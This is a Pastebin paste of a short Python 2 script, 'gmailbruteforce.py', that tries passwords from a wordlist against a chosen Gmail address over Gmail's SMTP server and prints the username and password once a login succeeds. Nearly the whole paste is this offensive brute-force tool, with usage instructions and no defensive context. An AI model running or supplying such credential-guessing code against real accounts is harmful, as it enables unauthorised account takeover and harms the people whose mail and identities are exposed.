Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib, sys, time
- class colour:
- BLUE = '\033[94m'
- RED = '\033[91m'
- GREEN = '\033[92m'
- YELLOW = '\033[93m'
- print colour.BLUE + "-------------------------------"
- print"-----------PONORKA-------------"
- print"-------------IKS DE------------"
- print"--WHITE HAT/GHOST IS SWAGLORD--"
- print"-------------------------------"
- def brute_force(username, success, attempts):
- print"\n[*]Starting bruteforce..."
- for password in f:
- if success == True:
- sys.exit(0)
- else:
- attempts += 1
- try:
- server.login(username, password)
- success = True
- print colour.GREEN + "\n[$]Login success!"
- print"Username: {} | Password: {}".format(username, password)
- break
- except:
- sys.stdout.write(colour.YELLOW + "\rAttempting password {} of {}".format(attempts, len(f)))
- sys.stdout.flush()
- time.sleep(0.005)
- def usage():
- print colour.RED + "\nUsage:"
- print"./gmailbruteforce.py (username) (password file)"
- print"Example:"
- print"./gmailbruteforce.py EMAIL@gmail.com commonpasswords.txt"
- server = smtplib.SMTP("smtp.gmail.com:587")
- server.starttls()
- try:
- username = sys.argv[1]
- password_file = sys.argv[2]
- print "User: " + username + " File: " + password_file
- check = raw_input("Is this correct? Y/N ")
- if check[0] == "Y" or check[0] == "y":
- print"Loading script...\n"
- else:
- usage()
- sys.exit(0)
- except:
- usage()
- sys.exit(0)
- try:
- f = open(password_file, "r")
- f = f.readlines()
- f = [x.strip('\n') for x in f]
- except:
- print"Password file not found! BLYAT"
- sys.exit(0)
- attempts = 0
- success = False
- brute_force(username, success, attempts)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement